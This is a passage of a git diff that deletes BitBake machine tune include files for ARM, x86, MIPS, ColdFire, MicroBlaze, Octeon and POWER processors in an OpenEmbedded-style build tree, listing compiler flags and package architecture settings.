-PACKAGE_EXTRA_ARCHS_tune-cortexa9-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-vfpv3} cortexa9-vfp cortexa9-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9t-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-vfpv3} cortexa9-vfp cortexa9-vfpv3 cortexa9t2-vfp cortexa9t2-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9hf-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-vfpv3} cortexa9hf-vfp cortexa9hf-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9thf-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-vfpv3} cortexa9hf-vfp cortexa9hf-vfpv3 cortexa9t2hf-vfp cortexa9t2hf-vfpv3"
diff --git a/meta/conf/machine/include/tune-ep9312.inc b/meta/conf/machine/include/tune-ep9312.inc
deleted file mode 100644
index be20eb363b..0000000000
--- a/meta/conf/machine/include/tune-ep9312.inc
+++ /dev/null
@@ -1,13 +0,0 @@
-DEFAULTTUNE ?= "ep9312"
-
-require conf/machine/include/arm/arch-armv4.inc
-
-TUNEVALID[ep9312] = "Enable Cirrus Logic EP9312 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ep9312', ' -march=ep9312 -mcpu=ep9312', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'ep9312', 'armv4:', '' ,d)}"
-
-AVAILTUNES += "ep9312"
-ARMPKGARCH_tune-ep9312 = "ep9312"
-# this tune does not include TUNE_FEATURES_tune-armv4t, so there is no armv4 TUNE_FEATURES => no 't' in ARMPKGSFX_THUMB
-TUNE_FEATURES_tune-ep9312 = "thumb ep9312"
-PACKAGE_EXTRA_ARCHS_tune-ep9312 = "${PACKAGE_EXTRA_ARCHS_tune-armv4t} ep9312"
diff --git a/meta/conf/machine/include/tune-i586-nlp.inc b/meta/conf/machine/include/tune-i586-nlp.inc
deleted file mode 100644
index 88e59038fa..0000000000
--- a/meta/conf/machine/include/tune-i586-nlp.inc
+++ /dev/null
@@ -1,19 +0,0 @@
-# Settings for the GCC(1) cpu-type "quark":
-#
-#
-#
-DEFAULTTUNE ?= "i586-nlp-32"
-
-# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
-require conf/machine/include/x86/arch-x86.inc
-
-# x86 with no lock prefix
-TUNEVALID[i586-nlp] = "IA32 with Lock Prefix omitted"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'i586-nlp', ' -march=i586 -Wa,-momit-lock-prefix=yes', '', d)}"
-
-# Quark tune feature
-AVAILTUNES = "i586-nlp-32"
-TUNE_FEATURES_tune-i586-nlp-32 = "${TUNE_FEATURES_tune-x86} i586-nlp"
-BASE_LIB_tune-i586-nlp-32 = "lib"
-TUNE_PKGARCH_tune-i586-nlp-32 = "i586-nlp-32"
-PACKAGE_EXTRA_ARCHS_tune-i586-nlp-32 = "i586-nlp-32"
diff --git a/meta/conf/machine/include/tune-i586.inc b/meta/conf/machine/include/tune-i586.inc
deleted file mode 100644
index 1ab17bd402..0000000000
--- a/meta/conf/machine/include/tune-i586.inc
+++ /dev/null
@@ -1,14 +0,0 @@
-DEFAULTTUNE ?= "i586"
-
-require conf/machine/include/x86/arch-x86.inc
-
-# Extra tune features
-TUNEVALID[i586] = "Enable i586 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'i586', ' -march=i586', '', d)}"
-
-# Extra tune selections
-AVAILTUNES += "i586"
-TUNE_FEATURES_tune-i586 = "${TUNE_FEATURES_tune-x86} i586"
-BASE_LIB_tune-i586 = "lib"
-TUNE_PKGARCH_tune-i586 = "i586"
-PACKAGE_EXTRA_ARCHS_tune-i586 = "${PACKAGE_EXTRA_ARCHS_tune-x86} i586"
diff --git a/meta/conf/machine/include/tune-i686.inc b/meta/conf/machine/include/tune-i686.inc
deleted file mode 100644
index bdb4799209..0000000000
--- a/meta/conf/machine/include/tune-i686.inc
+++ /dev/null
@@ -1,27 +0,0 @@
-#
-# The i686 CPU family was introduced with the Intel Pentium Pro in 1995.
-# It has as required feature flags: fpu tsc cx8 cmov.
-#
-# It is the minimum CPU required by the Debian i386 port.
-# https://lists.debian.org/debian-devel-announce/2016/05/msg00001.html
-#
-#
-
-DEFAULTTUNE ?= "i686"
-
-# Set x86 target arch to i686, so that glibc enables SSE optimised memcpy, etc.
-X86ARCH32 ?= "i686"
-
-# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
-require conf/machine/include/tune-i586.inc
-
-# Extra tune features
-TUNEVALID[i686] = "Enable i686 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'i686', ' -march=i686', '', d)}"
-
-# Extra tune selections
-AVAILTUNES += "i686"
-TUNE_FEATURES_tune-i686 = "${TUNE_FEATURES_tune-x86} i686"
-BASE_LIB_tune-i686 = "lib"
-TUNE_PKGARCH_tune-i686 = "i686"
-PACKAGE_EXTRA_ARCHS_tune-i686 = "${PACKAGE_EXTRA_ARCHS_tune-i586} i686"
diff --git a/meta/conf/machine/include/tune-iwmmxt.inc b/meta/conf/machine/include/tune-iwmmxt.inc
deleted file mode 100644
index 9a6cd23c99..0000000000
--- a/meta/conf/machine/include/tune-iwmmxt.inc
+++ /dev/null
@@ -1,15 +0,0 @@
-# Configurations for the Intel PXA27x Appications Processor Family.
-# Please use tune-xscale for PXA255/PXA26x based processors.
-
-DEFAULTTUNE ?= "iwmmxt"
-
-require conf/machine/include/arm/arch-armv5-dsp.inc
-
-TUNEVALID[iwmmxt] = "Enable Intel PXA27x specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'iwmmxt', ' -mcpu=iwmmxt', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'iwmmxt', 'armv5:', '' ,d)}"
-
-AVAILTUNES += "iwmmxt"
-ARMPKGARCH_tune-iwmmxt = "iwmmxt"
-TUNE_FEATURES_tune-iwmmxt = "thumb iwmmxt"
-PACKAGE_EXTRA_ARCHS_tune-iwmmxt = "${PACKAGE_EXTRA_ARCHS_tune-armv5te} iwmmxt iwmmxtt"
diff --git a/meta/conf/machine/include/tune-mcf5441x.inc b/meta/conf/machine/include/tune-mcf5441x.inc
deleted file mode 100644
index 11a41a7c5d..0000000000
--- a/meta/conf/machine/include/tune-mcf5441x.inc
+++ /dev/null
@@ -1,13 +0,0 @@
-DEFAULTTUNE ?= "mcf5441x"
-
-require conf/machine/include/m68k/arch-m68k.inc
-
-TUNEVALID[mcf5441x] = "Enable coldfire specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mcf5441x', ' -mcpu=54418', '', d)}"
-
-AVAILTUNES += "mcf5441x"
-TUNE_FEATURES_tune-mcf5441x = "mcf5441x"
-TUNE_ARCH_tune-mcf5441x = "mcf5441x"
-TUNE_PKGARCH_tune-mcf5441x = "mcf5441x"
-PACKAGE_EXTRA_ARCHS_tune-mcf5441x = "m68k mcf5441x"
-
diff --git a/meta/conf/machine/include/tune-microblaze.inc b/meta/conf/machine/include/tune-microblaze.inc
deleted file mode 100644
index 41f0afe668..0000000000
--- a/meta/conf/machine/include/tune-microblaze.inc
+++ /dev/null
@@ -1,8 +0,0 @@
-DEFAULTTUNE ?= "microblaze"
-
-require conf/machine/include/microblaze/arch-microblaze.inc
-
-AVAILTUNES += "microblaze"
-TUNE_FEATURES_tune-microblaze = "microblaze"
-PACKAGE_EXTRA_ARCHS_tune-microblaze = "${TUNE_PKGARCH}"
-
diff --git a/meta/conf/machine/include/tune-mips32.inc b/meta/conf/machine/include/tune-mips32.inc
deleted file mode 100644
index a90c0f059d..0000000000
--- a/meta/conf/machine/include/tune-mips32.inc
+++ /dev/null
@@ -1,29 +0,0 @@
-DEFAULTTUNE ?= "mips32"
-
-require conf/machine/include/mips/arch-mips.inc
-
-TUNEVALID[mips32] = "Enable mips32 specific processor optimizations"
-TUNECONFLICTS[mips32] = "n64 n32"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips32', ' -march=mips32', '', d)}"
-
-# Base Tunes (Hard Float)
-AVAILTUNES += "mips32 mips32el"
-
-TUNE_FEATURES_tune-mips32 = "${TUNE_FEATURES_tune-mips} mips32"
-MIPSPKGSFX_VARIANT_tune-mips32 = "mips32"
-PACKAGE_EXTRA_ARCHS_tune-mips32 = "mips mips32"
-
-TUNE_FEATURES_tune-mips32el = "${TUNE_FEATURES_tune-mipsel} mips32"
-MIPSPKGSFX_VARIANT_tune-mips32el = "mips32el"
-PACKAGE_EXTRA_ARCHS_tune-mips32el = "mipsel mips32el"
-
-# Soft Float
-AVAILTUNES += "mips32-nf mips32el-nf"
-
-TUNE_FEATURES_tune-mips32-nf = "${TUNE_FEATURES_tune-mips-nf} mips32"
-MIPSPKGSFX_VARIANT_tune-mips32-nf = "mips32"
-PACKAGE_EXTRA_ARCHS_tune-mips32-nf = "mips-nf mips32-nf"
-
-TUNE_FEATURES_tune-mips32el-nf = "${TUNE_FEATURES_tune-mipsel-nf} mips32"
-MIPSPKGSFX_VARIANT_tune-mips32el-nf = "mips32el"
-PACKAGE_EXTRA_ARCHS_tune-mips32el-nf = "mipsel-nf mips32el-nf"
diff --git a/meta/conf/machine/include/tune-mips32r2.inc b/meta/conf/machine/include/tune-mips32r2.inc
deleted file mode 100644
index 14473ca831..0000000000
--- a/meta/conf/machine/include/tune-mips32r2.inc
+++ /dev/null
@@ -1,29 +0,0 @@
-DEFAULTTUNE ?= "mips32r2"
-
-require conf/machine/include/tune-mips32.inc
-
-TUNEVALID[mips32r2] = "Enable mips32r2 specific processor optimizations"
-TUNECONFLICTS[mips32r2] = "n64 n32"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips32r2', ' -march=mips32r2', '', d)}"
-
-# Base Tunes (Hard Float)
-AVAILTUNES += "mips32r2 mips32r2el"
-
-TUNE_FEATURES_tune-mips32r2 = "${TUNE_FEATURES_tune-mips} mips32r2"
-MIPSPKGSFX_VARIANT_tune-mips32r2 = "mips32r2"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2 = "mips mips32 mips32r2"
-
-TUNE_FEATURES_tune-mips32r2el = "${TUNE_FEATURES_tune-mipsel} mips32r2"
-MIPSPKGSFX_VARIANT_tune-mips32r2el = "mips32r2el"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el = "mipsel mips32el mips32r2el"
-
-# Soft Float
-AVAILTUNES += "mips32r2-nf mips32r2el-nf"
-
-TUNE_FEATURES_tune-mips32r2-nf = "${TUNE_FEATURES_tune-mips-nf} mips32r2"
-MIPSPKGSFX_VARIANT_tune-mips32r2-nf = "mips32r2"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2-nf = "mips-nf mips32-nf mips32r2-nf"
-
-TUNE_FEATURES_tune-mips32r2el-nf = "${TUNE_FEATURES_tune-mipsel-nf} mips32r2"
-MIPSPKGSFX_VARIANT_tune-mips32r2el-nf = "mips32r2el"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el-nf = "mipsel-nf mips32el-nf mips32r2el-nf"
diff --git a/meta/conf/machine/include/tune-mips32r6.inc b/meta/conf/machine/include/tune-mips32r6.inc
deleted file mode 100644
index 44369cb59c..0000000000
--- a/meta/conf/machine/include/tune-mips32r6.inc
+++ /dev/null
@@ -1,29 +0,0 @@
-DEFAULTTUNE ?= "mipsisa32r6el"
-
-require conf/machine/include/mips/arch-mips.inc
-
-TUNEVALID[mipsisa32r6] = "Enable mipsisa32r6 specific processor optimizations"
-TUNECONFLICTS[mipsisa32r6] = "n64 n32"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa32r6', ' -march=mips32r6', '', d)}"
-
-# Base Tunes (Hard Float)
-AVAILTUNES += "mipsisa32r6 mipsisa32r6el"
-
-TUNE_FEATURES_tune-mipsisa32r6 = "o32 bigendian mipsisa32r6 fpu-hard r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa32r6 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa32r6 = "mipsisa32r6"
-
-TUNE_FEATURES_tune-mipsisa32r6el = "o32 fpu-hard mipsisa32r6 r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa32r6el = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa32r6el = "mipsisa32r6el"
-
-# Soft Float
-AVAILTUNES += "mipsisa32r6-nf mipsisa32r6el-nf"
-
-TUNE_FEATURES_tune-mipsisa32r6-nf = "o32 bigendian mipsisa32r6 r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa32r6-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa32r6-nf = "mipsisa32r6-nf"
-
-TUNE_FEATURES_tune-mipsisa32r6el-nf = "o32 mipsisa32r6 r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa32r6el-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa32r6el-nf = "mipsisa32r6el-nf"
diff --git a/meta/conf/machine/include/tune-mips64.inc b/meta/conf/machine/include/tune-mips64.inc
deleted file mode 100644
index 9be0e0f8d9..0000000000
--- a/meta/conf/machine/include/tune-mips64.inc
+++ /dev/null
@@ -1,3 +0,0 @@
-DEFAULTTUNE ?= "mips64"
-
-require conf/machine/include/tune-mips32r2.inc
diff --git a/meta/conf/machine/include/tune-mips64r2.inc b/meta/conf/machine/include/tune-mips64r2.inc
deleted file mode 100644
index 75d7535add..0000000000
--- a/meta/conf/machine/include/tune-mips64r2.inc
+++ /dev/null
@@ -1,84 +0,0 @@
-DEFAULTTUNE ?= "mips64r2"
-
-require conf/machine/include/tune-mips64.inc
-
-TUNEVALID[mips64r2] = "Enable mips64r2 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips64r2', ' -march=mips64r2', '', d)}"
-
-# Base tunes
-AVAILTUNES += "mips64r2 mips64r2el"
-
-TUNE_FEATURES_tune-mips64r2 = "${TUNE_FEATURES_tune-mips64} mips64r2"
-BASE_LIB_tune-mips64r2 = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64r2 = "mips64r2"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2 = "mips64 mips64r2"
-
-TUNE_FEATURES_tune-mips64r2el = "${TUNE_FEATURES_tune-mips64el} mips64r2"
-BASE_LIB_tune-mips64r2el = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64r2el = "mips64r2el"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2el = "mips64el mips64r2el"
-
-# MIPS 64r2 Soft Float
-AVAILTUNES += "mips64r2-nf mips64r2el-nf"
-
-TUNE_FEATURES_tune-mips64r2-nf = "${TUNE_FEATURES_tune-mips64-nf} mips64r2"
-BASE_LIB_tune-mips64r2-nf = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64r2-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2-nf = "mips64-nf mips64r2-nf"
-
-TUNE_FEATURES_tune-mips64r2el-nf = "${TUNE_FEATURES_tune-mips64el-nf} mips64r2"
-BASE_LIB_tune-mips64r2el-nf = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64r2el-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2el-nf = "mips64el-nf mips64r2el-nf"
-
-# MIPS 64r2 n32
-AVAILTUNES += "mips64r2-n32 mips64r2el-n32"
-
-TUNE_FEATURES_tune-mips64r2-n32 = "${TUNE_FEATURES_tune-mips64-n32} mips64r2"
-BASE_LIB_tune-mips64r2-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64r2-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2-n32 = "mips64-n32 mips64r2-n32"
-
-TUNE_FEATURES_tune-mips64r2el-n32 = "${TUNE_FEATURES_tune-mips64el-n32} mips64r2"
-BASE_LIB_tune-mips64r2el-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64r2el-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2el-n32 = "mips64el-n32 mips64r2el-n32"
-
-# MIPS 64r2 n32 and Soft Float
-AVAILTUNES += "mips64r2-nf-n32 mips64r2el-nf-n32"
-
-TUNE_FEATURES_tune-mips64r2-nf-n32 = "${TUNE_FEATURES_tune-mips64-nf-n32} mips64r2"
-BASE_LIB_tune-mips64r2-nf-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64r2-nf-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2-nf-n32 = "mips64-nf-n32 mips64r2-nf-n32"
-
-TUNE_FEATURES_tune-mips64r2el-nf-n32 = "${TUNE_FEATURES_tune-mips64el-nf-n32} mips64r2"
-BASE_LIB_tune-mips64r2el-nf-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64r2el-nf-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2el-nf-n32 = "mips64el-nf-n32 mips64r2el-nf-n32"
-
-# MIPS 64r2 o32
-AVAILTUNES += "mips64r2-o32 mips64r2el-o32"
-
-TUNE_FEATURES_tune-mips64r2-o32 = "${TUNE_FEATURES_tune-mips64-o32} mips64r2"
-BASE_LIB_tune-mips64r2-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64r2-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2-o32 = "mips mips64-o32 mips64r2-o32"
-
-TUNE_FEATURES_tune-mips64r2el-o32 = "${TUNE_FEATURES_tune-mips64el-o32} mips64r2"
-BASE_LIB_tune-mips64r2el-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64r2el-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2el-o32 = "mipsel mips64el-o32 mips64r2el-o32"
-
-# MIPS 64r2 o32 and Soft Float
-AVAILTUNES += "mips64r2-nf-o32 mips64r2el-nf-o32"
-
-TUNE_FEATURES_tune-mips64r2-nf-o32 = "${TUNE_FEATURES_tune-mips64-nf-o32} mips64r2"
-BASE_LIB_tune-mips64r2-nf-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64r2-nf-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2-nf-o32 = "mips-nf mips64r2-nf-o32"
-
-TUNE_FEATURES_tune-mips64r2el-nf-o32 = "${TUNE_FEATURES_tune-mips64el-nf-o32} mips64r2"
-BASE_LIB_tune-mips64r2el-nf-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64r2el-nf-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2el-nf-o32 = "mipsel-nf mips64r2el-nf-o32"
diff --git a/meta/conf/machine/include/tune-mips64r6.inc b/meta/conf/machine/include/tune-mips64r6.inc
deleted file mode 100644
index 4fe3eedf1b..0000000000
--- a/meta/conf/machine/include/tune-mips64r6.inc
+++ /dev/null
@@ -1,58 +0,0 @@
-DEFAULTTUNE ?= "mipsisa64r6el"
-
-require conf/machine/include/mips/arch-mips.inc
-
-TUNEVALID[mipsisa64r6] = "Enable mipsisa64r6 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa64r6', ' -march=mips64r6', '', d)}"
-
-# Base Tunes
-AVAILTUNES += "mipsisa64r6 mipsisa64r6el"
-
-TUNE_FEATURES_tune-mipsisa64r6 = "bigendian fpu-hard n64 mipsisa64r6 r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6 = "${TUNE_ARCH}"
-BASE_LIB_tune-mipsisa64r6 = "lib64"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6 = "mipsisa64r6"
-
-TUNE_FEATURES_tune-mipsisa64r6el = "fpu-hard r6 n64 mipsisa64r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6el = "${TUNE_ARCH}"
-BASE_LIB_tune-mipsisa64r6el = "lib64"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6el = "mipsisa64r6el"
-
-# Soft Float
-AVAILTUNES += "mipsisa64r6-nf mipsisa64r6el-nf"
-
-TUNE_FEATURES_tune-mipsisa64r6-nf = "bigendian r6 n64 mipsisa64r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6-nf = "${TUNE_ARCH}"
-BASE_LIB_tune-mipsisa64r6-nf = "lib64"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6-nf = "mipsisa64r6"
-
-TUNE_FEATURES_tune-mipsisa64r6el-nf = "r6 n64 mipsisa64r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6el-nf = "${TUNE_ARCH}"
-BASE_LIB_tune-mipsisa64r6el-nf = "lib64"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6el-nf = "mipsisa64r6el-nf"
-
-# MIPS 64r6 n32
-AVAILTUNES += "mipsisa64r6-n32 mipsisa64r6el-n32"
-
-TUNE_FEATURES_tune-mipsisa64r6-n32 = "bigendian fpu-hard r6 n32 mipsisa64r6"
-BASE_LIB_tune-mipsisa64r6-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6-n32 = "mipsisa64r6-n32"
-
-TUNE_FEATURES_tune-mipsisa64r6el-n32 = "fpu-hard r6 n32 mipsisa64r6"
-BASE_LIB_tune-mipsisa64r6el-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6el-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6el-n32 = "mipsisa64r6el-n32"
-
-# MIPS 64r6 n32 and Soft Float
-AVAILTUNES += "mipsisa64r6-nf-n32 mipsisa64r6el-nf-n32"
-
-TUNE_FEATURES_tune-mipsisa64r6-nf-n32 = "bigendian r6 n32 mipsisa64r6"
-BASE_LIB_tune-mipsisa64r6-nf-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6-nf-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6-nf-n32 = "mipsisa64r6-nf-n32"
-
-TUNE_FEATURES_tune-mipsisa64r6el-nf-n32 = "r6 n32 mipsisa64r6"
-BASE_LIB_tune-mipsisa64r6el-nf-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6el-nf-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6el-nf-n32 = "mipsisa64r6el-nf-n32"
diff --git a/meta/conf/machine/include/tune-octeon.inc b/meta/conf/machine/include/tune-octeon.inc
deleted file mode 100644
index b5deb8fd88..0000000000
--- a/meta/conf/machine/include/tune-octeon.inc
+++ /dev/null
@@ -1,32 +0,0 @@
-DEFAULTTUNE ?="octeon2"
-
-require conf/machine/include/tune-mips64.inc
-
-AVAILTUNES += "octeon2 octeon2_64 octeon3 octeon3_64"
-
-TUNEVALID[octeon2] = "Enable optimization related to octeon2 support"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'octeon2', ' -march=octeon2 ', '',d)}"
-
-TUNE_FEATURES_tune-octeon2 = "${TUNE_FEATURES_tune-mips64-n32} octeon2"
-BASE_LIB_tune-octeon2 = "lib32"
-MIPSPKGSFX_VARIANT_tune-octeon2 = "octeon2"
-PACKAGE_EXTRA_ARCHS_tune-octeon2 = "mips64-n32 octeon2-n32"
-
-TUNE_FEATURES_tune-octeon2_64 = "${TUNE_FEATURES_tune-mips64} octeon2"
-BASE_LIB_tune-octeon2_64 = "lib64"
-MIPSPKGSFX_VARIANT_tune-octeon2_64 = "octeon2_64"
-PACKAGE_EXTRA_ARCHS_tune-octeon2_64 = "mips64 octeon2_64"
-
-
-TUNEVALID[octeon3] = "Enable optimization related to octeon3 support"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'octeon3', ' -march=octeon3 ', '',d)}"
-
-TUNE_FEATURES_tune-octeon3 = "${TUNE_FEATURES_tune-mips64-n32} octeon3"
-BASE_LIB_tune-octeon3 = "lib32"
-MIPSPKGSFX_VARIANT_tune-octeon3 = "octeon3"
-PACKAGE_EXTRA_ARCHS_tune-octeon3 = "mips64-n32 octeon3-n32"
-
-TUNE_FEATURES_tune-octeon3_64 = "${TUNE_FEATURES_tune-mips64} octeon3"
-BASE_LIB_tune-octeon3_64 = "lib64"
-MIPSPKGSFX_VARIANT_tune-octeon3_64 = "octeon3_64"
-PACKAGE_EXTRA_ARCHS_tune-octeon3_64 = "mips64 octeon3_64"
diff --git a/meta/conf/machine/include/tune-power5.inc b/meta/conf/machine/include/tune-power5.inc
deleted file mode 100644
index 48c33fb273..0000000000
--- a/meta/conf/machine/include/tune-power5.inc
+++ /dev/null
@@ -1,24 +0,0 @@
-DEFAULTTUNE ?= "ppcp5"
-
-require conf/machine/include/powerpc/arch-powerpc64.inc
-
-TUNEVALID[power5] = "Enable IBM Power5 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power5', ' -mcpu=power5', '', d)}"
-
-AVAILTUNES += "ppcp5 ppc64p5"
-TUNE_FEATURES_tune-ppcp5 = "m32 fpu-hard power5 altivec bigendian"
-BASE_LIB_tune-ppcp5 = "lib"
-TUNE_PKGARCH_tune-ppcp5 = "ppcp5"
-PACKAGE_EXTRA_ARCHS_tune-ppcp5 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppcp5"
-
-TUNE_FEATURES_tune-ppc64p5 = "m64 fpu-hard power5 altivec bigendian"
-BASE_LIB_tune-ppc64p5 = "lib64"
-TUNE_PKGARCH_tune-ppc64p5 = "ppc64p5"
-PACKAGE_EXTRA_ARCHS_tune-ppc64p5 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc64} ppc64p5"
-
-# glibc configure options to get power5 specific library
-GLIBC_EXTRA_OECONF_powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'power5', '--with-cpu=power5', '', d)}"
-GLIBC_EXTRA_OECONF_powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'power5', '--with-cpu=power5', '', d)}"
-
-# QEMU usermode fails with invalid instruction error
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = "${@bb.utils.contains('TUNE_FEATURES', 'power5', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/tune-power6.inc b/meta/conf/machine/include/tune-power6.inc
deleted file mode 100644
index b708660217..0000000000
--- a/meta/conf/machine/include/tune-power6.inc
+++ /dev/null
@@ -1,24 +0,0 @@
-DEFAULTTUNE ?= "ppcp6"
-
-require conf/machine/include/powerpc/arch-powerpc64.inc
-
-TUNEVALID[power6] = "Enable IBM Power6 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power6', ' -mcpu=power6', '', d)}"
-
-AVAILTUNES += "ppcp6 ppc64p6"
-TUNE_FEATURES_tune-ppcp6 = "m32 fpu-hard power6 altivec bigendian"
-BASE_LIB_tune-ppcp6 = "lib"
-TUNE_PKGARCH_tune-ppcp6 = "ppcp6"
-PACKAGE_EXTRA_ARCHS_tune-ppcp6 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppcp6"
-
-TUNE_FEATURES_tune-ppc64p6 = "m64 fpu-hard power6 altivec bigendian"
-BASE_LIB_tune-ppc64p6 = "lib64"
-TUNE_PKGARCH_tune-ppc64p6 = "ppc64p6"
-PACKAGE_EXTRA_ARCHS_tune-ppc64p6 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc64} ppc64p6"
-
-# glibc configure options to get power6 specific library
-GLIBC_EXTRA_OECONF_powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'power6', '--with-cpu=power6', '', d)}"
-GLIBC_EXTRA_OECONF_powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'power6', '--with-cpu=power6', '', d)}"
-
-# QEMU usermode fails with invalid instruction error
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = "${@bb.utils.contains('TUNE_FEATURES', 'power6', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/tune-power7.inc b/meta/conf/machine/include/tune-power7.inc
deleted file mode 100644
index e976cc0467..0000000000
--- a/meta/conf/machine/include/tune-power7.inc
+++ /dev/null
@@ -1,24 +0,0 @@
-DEFAULTTUNE ?= "ppcp7"
-
-require conf/machine/include/powerpc/arch-powerpc64.inc
-
-TUNEVALID[power7] = "Enable IBM Power7 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power7', ' -mcpu=power7', '', d)}"
-
-AVAILTUNES += "ppcp7 ppc64p7"
-TUNE_FEATURES_tune-ppcp7 = "m32 fpu-hard power7 altivec bigendian"
-BASE_LIB_tune-ppcp7 = "lib"
-TUNE_PKGARCH_tune-ppcp7 = "ppcp7"
-PACKAGE_EXTRA_ARCHS_tune-ppcp7 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppcp7"
-
-TUNE_FEATURES_tune-ppc64p7 = "m64 fpu-hard power7 altivec bigendian"
-BASE_LIB_tune-ppc64p7 = "lib64"
-TUNE_PKGARCH_tune-ppc64p7 = "ppc64p7"
